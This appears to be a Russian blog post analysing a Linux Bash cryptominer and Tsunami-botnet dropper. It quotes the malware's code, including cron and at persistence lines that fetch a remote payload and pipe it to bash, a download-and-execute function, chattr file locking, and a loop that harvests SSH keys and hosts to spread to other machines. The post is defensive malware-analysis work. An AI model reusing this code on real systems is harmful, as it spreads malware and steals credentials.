Анализ вируса под Linux на Bash. Часть 2

Анализ вируса под Linux на Bash. Часть 2

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение

Значение префикса сети записывается в переменную $range, которая как и $rand с $rand2 нигде не используется — возможно, это недописанная (неудачная) задумка. 

Проверяется связь с майнинг пулом, если она отсутствует, то переменной $dns присваивается значение -d, которое затем передаётся программе-майнеру: 

if [ $(ping -c 1 pool.supportxmr.com 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ];
then
    dns=""
else
    dns="-d"
fi

Теперь проверяется связь до сервера злоумышленника, если она есть, в качестве адреса будет использоваться URL, если пинг неудачный, то в качестве адреса будет записан IP: 

if [ $(ping -c 1 bash.givemexyz.in 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ];
then
    url="http://bash.givemexyz.in"
else
    url="http://104.244.75.159"
fi

Эти строки пытаются прописать вирус в задачах Cron: 

echo -e "*/1 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/root
echo -e "*/2 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/apache
echo -e "*/3 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/nginx
echo -e "*/30 * * * *   (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo -e "* * * * *  (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /var/spool/cron/crontabs/root
mkdir -p /etc/cron.hourly
echo "(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms" > /etc/cron.hourly/oanacroner1 | chmod 755 /etc/cron.hourly/oanacroner1

Обратите внимание, что используется переменная $DIR, но она нигде ещё не устанавливалась. 

Это может означать, что вирус записывает правильные строки в Cron только при втором его запуске, когда в оболочке уже установлено значение $DIR (или вовсе не записывает правильное значение). 

Посмотрите пример (эта команда не из вируса): 

echo $DIR; DIR='something'

если запустить только один раз, то ничего не будет выведено. Но если запустить второй раз эту же команду, то будет выведена строка. Если закрыть и открыть терминал, а затем снова запустить команду, то опять ничего не будет выведено. 

Также нигде не объявлялась функция «lwp-download», которая вызывается с аргументами $url/xms и $DIR/xms, то есть файл сохраняется с именем «xms». 

«\n##» - это символ новой строки и две решётки на следующей (комментарий) (эта команда не из вируса): 

echo -e '\n##'
 
##

Возвращаемся к коду вируса. Ага, наконец устанавливается значение переменной $DIR

DIR="/tmp" 

Выполняется переход в папку /tmp

cd $DIR

Следующий код вычисляет MD5 хеш для файла /tmp/dbused и сравнивает его с двумя хешами. Если хеш не совпадает, то удаляется файл /usr/local/lib/libkk.so, стирается файла /etc/ld.so.preload, завершаются 2 процесса в именах которых есть «wc.conf» и «susss» – видимо, это очистка от старой версии. Если файл вовсе отсутствует, то создаётся директория в /tmp

if [ -a "/tmp/dbused" ]
then
    if [ -w "/tmp/dbused" ] && [ ! -d "/tmp/dbused" ]
    then
        if [ -x "$(command -v md5sum)" ]
        then
            sum=$(md5sum /tmp/dbused | awk '{ print $1 }')
            echo $sum
            case $sum in
            dc3d2e17df6cef8df41ce8b0eba99291 | 101ce170dafe1d352680ce0934bfb37e)
                echo "x86_64 OK"
            ;;
            *)
                echo "x86_64 wrong"
                rm -rf /usr/local/lib/libkk.so
                echo "" > /etc/ld.so.preload
                pkill -f wc.conf
                pkill -f susss
                sleep 4
            ;;
            esac
        fi
    echo "P OK"
    else
        DIR=$(mktemp -d)/tmp
        mkdir $DIR
        echo "T DIR $DIR"
    fi
else
    if [ -d "/tmp" ]
    then
        DIR="/tmp"
    fi
    echo "P NOT EXISTS"
fi

Проверяется наличие директории /tmp/.sh/dbused (запоминаем для поиска экземпляров вируса) и если её нет, то создаётся временная папка. 

if [ -d "/tmp/.sh/dbused" ]
then
    DIR=$(mktemp -d)/tmp
    mkdir $DIR
    echo "T DIR $DIR"
fi

Объявление функции get, функция убирает блокировку с файла (имя передаётся во втором аргументе, а URL в первом аргументе функции), пытается его скачать тремя разными способами и сохраняет файл, делая его исполнимым: 

get() {
    chattr -i $2; rm -rf $2
    wget -q -O - $1 > $2 || curl -fsSL $1 -o $2 ||  lwp-download $1 $2 ||
    chmod +x $2
}

Объявление функции downloadIfNeed, которая нигде не используется. Она проверяет, имеется ли файл «$DIR/dbused», если нет, то скачивает его, если имеется, то проверяет MD5 хеш, сравнивая с двумя значениями. Если хеш неверный, то пытается его скачать. 

Новые имена файлов вируса: 

  •  $DIR/x86_64 
  •  $DIR/sssus 
  •  $DIR/tmp.txt 
downloadIfNeed()
{
    if [ -x "$(command -v md5sum)" ]
    then
        if [ ! -f $DIR/dbused ]; then
        echo "File not found!"
        download
    fi
    sum=$(md5sum $DIR/dbused | awk '{ print $1 }')
    echo $sum
    case $sum in
        dc3d2e17df6cef8df41ce8b0eba99291 | 101ce170dafe1d352680ce0934bfb37e)
            echo "x86_64 OK"
        ;;
        *)
            echo "x86_64 wrong"
            sizeBefore=$(du $DIR/x86_64)
            if [ -s /usr/bin/curl ];
                then
                WGET="curl -k -o ";
            fi
                if [ -s /usr/bin/wget ];
                then
                WGET="wget --no-check-certificate -O ";
            fi
            download
            sumAfter=$(md5sum $DIR/x86_64 | awk '{ print $1 }')
                if [ -s /usr/bin/curl ];
            then
                echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/sssus` > $DIR/tmp.txt
            fi
        ;;
    esac
    else
        echo "No md5sum"
        download
    fi
}

Ещё один фрагмент кода, который фактически не используется, поскольку представляет собой объявление функции, вызываемой только из другого неиспользуемого фрагмента кода. 

Упоминаются возможные имена вируса 

  •  $DIR/x86_643 
  •  $DIR/x86_64 
download() {
    if [ -x "$(command -v md5sum)" ]
    then
        sum=$(md5sum $DIR/x86_643 | awk '{ print $1 }')
        echo $sum
        case $sum in
            dc3d2e17df6cef8df41ce8b0eba99291 | dc3d2e17df6cef8df41ce8b0eba99291)
                echo "x86_64 OK"
                cp $DIR/x86_643 $DIR/x86_64
                cp $DIR/x86_643 $DIR/x86_64
            ;;
            *)
                 echo "x86_64 wrong"
                download2
            ;;
        esac
    else
        echo "No md5sum"
        download2
    fi
}

И ещё одна функция, которая вызывается только в другой неиспользуемой функции: 

download2() {
    get $url/$(uname -m) "$DIR"/dbused
    if [ -x "$(command -v md5sum)" ]
    then
        sum=$(md5sum $DIR/dbused | awk '{ print $1 }')
        echo $sum
        case $sum in
            dc3d2e17df6cef8df41ce8b0eba99291 | 101ce170dafe1d352680ce0934bfb37e)
                echo "x86_64 OK"
                cp $DIR/x86_64 $DIR/x86_643
            ;;
             *)
                echo "x86_64 wrong"
            ;;
        esac
    else
        echo "No md5sum"
    fi
}

В следующей функции проверяется, установлено ли соединение с 212.114.52.24:8080 или 194.5.249.24:8080, и если это не так, то скачивается файл $url/$(uname -m), то есть фактически bash[.]givemexyz[.]in/x86_64 и сохраняется он в файл по пути /tmp/dbused. Скаченный файл делается исполнимым и запускается дважды с опцией «-pwn» и опцией «-c $dns», значение переменной $dns может быть «-d» или пустая строка. 

judge() {
    if [ ! "$(netstat -ant|grep '212.114.52.24:8080\|194.5.249.24:8080'|grep 'ESTABLISHED'|grep -v grep)" ];
    then
        get $url/$(uname -m) "$DIR"/dbused
        chmod +x "$DIR"/dbused
        "$DIR"/dbused -c $dns
        "$DIR"/dbused -pwn
        sleep 5
    else
        echo "Running"
    fi
}

Этот код опят проверяет подключения до 212.114.52.24:8080 и 194.5.249.24:8080 и если нет установленных подключений или прослушивания портов, то запускает предыдущую функцию judge

if [ ! "$(netstat -ant|grep '212.114.52.24:8080\|194.5.249.24:8080'|grep 'LISTEN\|ESTABLISHED\|TIME_WAIT'|grep -v grep)" ];
then
    judge
else
    echo "Running"
fi

Следующий код проверят наличие установленного подключения до 104.168.71.132:80 и если оно отсутствует, то скачивает файл bash[.]givemexyz[.]in/bashirc.x86_64, который сохраняет по пути /tmp/bashirc. Скаченным файлом является троян (бэкдор) ботнета Tsunami. Можно сделать вывод, что одним из управляющих серверов данного ботнета является 104.168.71.132

if [ ! "$(netstat -ant|grep '104.168.71.132:80'|grep 'ESTABLISHED'|grep -v grep)" ];
then
    get $url/bashirc.$(uname -m) "$DIR"/bashirc
    chmod 777 "$DIR"/bashirc
    "$DIR"/bashirc
else
    echo "Running"
fi

Функция, которая пытается закрепить вирус в системе. Код отличается отступами от остального кода, в отличие от предыдущих попыток записаться в расписание задач Cron, здесь используются уже объявленная переменная $DIR (хотя функция lwp-download так нигде и не была объявлена). 

В коде имеется ряд ошибок: 

  • используется команда «at», которая обычно отсутствует по умолчанию 
  • используется переменная $RANDOM, значение которой не установлено 

Тем не менее, можно догадаться, что логика следующая: если недоступно закрепление вируса через Cron, то он пытается сохраниться в одном из следующих расположений, выбранных наугад: 

  •  /dev/shm/cruner 
  •  /tmp/cruner 
  •  /var/tmp/cruner 
  •  /home/$(whoami)/cruner 
  •  /run/user/$(echo $UID)/cruner 
  •  /run/user/$(echo $UID)/systemd/cruner 

В качестве вируса сохраняется полезная нагрузка из переменной $pay

cronbackup() {
    pay="(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR"
    status=0 
    crona=$(systemctl is-active cron) 
    cronb=$(systemctl is-active crond) 
    cronatd=$(systemctl is-active atd) 
    if [ "$crona" == "active" ] ; then
        echo "cron okay"
    elif [ "$cronb" == "active" ]; then
        echo "cron okay"
    elif [ "$cronatd" == "active" ] ; then
        status=1 
    else
        status=2 
    fi
    if [ $status -eq 1 ] ; then
        for a in $(at -l|awk '{print $1}'); do at -r $a; done
        echo "$pay" | at -m now + 1 minute 
    fi
    if [ $status -eq 2 ] || [ "$me" != "root" ] ;then
        arr[0]="/dev/shm"
        arr[1]="/tmp"
        arr[2]="/var/tmp"
        arr[3]="/home/$(whoami)"
        arr[4]="/run/user/$(echo $UID)"
        arr[5]="/run/user/$(echo $UID)/systemd"
        rand=$[$RANDOM % ${#arr[@]}]
        echo "Setting up custom backup"
        ps auxf|grep -v grep|grep "cruner" | awk '{print $2}'|xargs kill -9 
        key="while true; do sleep 60 && $pay; done"
        echo -e "$key\n##" > ${arr[$rand]}/cruner && chmod 777 ${arr[$rand]}/cruner
        nohup ${arr[$rand]}/cruner >/dev/null 2>&1 &
        sleep 15 
        rm -rf ${arr[$rand]}/cruner
    fi
} 
cronbackup

Следующий фрагмент даёт нам ещё один IP 209.141.40.190 — если он не упоминается в какой-либо задаче Cron, то делается попытка записать уже знакомую нам полезную нагрузку. 

if crontab -l | grep -q "$url\|209.141.40.190"
then
    echo "Cron exists"
else
    crontab -r
    echo "Cron not found"
    echo "* * * * * (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms" | crontab -
fi

Наконец, в этой части вирус пытается проникнуть в компьютеры, на которые когда-либо выполнялся вход с заражённой системы и выполнить там вредоносный код. 

Собираются ключи 

  •  id_rsa*pub из директорий и поддиректорий ~//root и /home 
  •  IdentityFile из ~/.ssh/config/home/*/.ssh/config и /root/.ssh/config 
  •  *.pem из директорий и поддиректорий ~//root и /home 

Собираются имена хостов 

  • из полей HostName файлов ~/.ssh/config/home/*/.ssh/config и /root/.ssh/config 
  • из команд ssh и scp, найденных в файлах ~/.bash_history/home/*/.bash_history и /root/.bash_history 
  • IP адреса из файлов ~/*/.ssh/known_hosts/home/*/.ssh/known_hosts и /root/.ssh/known_hosts 

Имена пользователей собираются следующим образом: 

  • сканируются папки ~//root и /home и если там найден файл id_rsa в папке .ssh, то имя пользователя-владельца добавляется в список 
  • в список добавляется root 

Когда списки ключей, хостов и пользователей составлены, то начинается перебор с попыткой выполнить полезную нагрузку на удалённом хосте. 

KEYS=$(find ~/ /root /home -maxdepth 2 -name 'id_rsa*' | grep -vw pub)
KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }')
KEYS3=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)
HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}')
HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
HOSTS3=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq)
USERZ=$(
    echo "root"
    find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -v "\.ssh"
)
userlist=$(echo $USERZ | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
keylist=$(echo "$KEYS $KEYS2 $KEYS3" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
for user in $userlist; do
    for host in $hostlist; do
        for key in $keylist; do
            chmod +r $key; chmod 400 $key
            ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host "(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms"
        done
    done
done

Бессмысленный код, поскольку данные файлы ранее не упоминались 

rm -rf "$DIR"/2start.jpg
rm -rf "$DIR"/xmi

Наконец, делается попытка заблокировать от удаления указанные файлы — они содержат задачи Cron с полезной нагрузкой вируса. 

chattr +ai -V /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down

Анализ бинарных файлов

Как минимум, стоит попытаться найти строки в файлах вирусов, поскольку там могут быть имена файлов, IP адреса, полезная нагрузка: 

rabin2 -z bashirc.x86_64
rabin2 -z x86_64

Но в данном случае ничего не найдено, возможно, из-за применения упаковщика UPX. 

Информация на VirusTotal для dbused, он же x86_64https://www.virustotal.com/gui/file/4809d9eeb0c9ff1b8ecb557dca4b50acfa02d1dbf308346338666a05b6a29c57/detection 

Информация о bashirc.x86_64https://www.virustotal.com/gui/file/fc46525f37cc3f2a7e43d83dc5dd48ff8f7a456148e615cb9f592e6976635c1d/detection 

Итак 

Анализ полезной нагрузки, скриптов, исполнимых файлов может помочь найти способы закрепления вируса, адреса управляющих серверов, адреса загружаемых на компьютер жертвы вирусов. 

Как можно понять по неиспользуемым фрагментам и стилистике кода, код прошёл определённое развитие, возможно, скомпилирован из разных источников. 

Источник


Report Page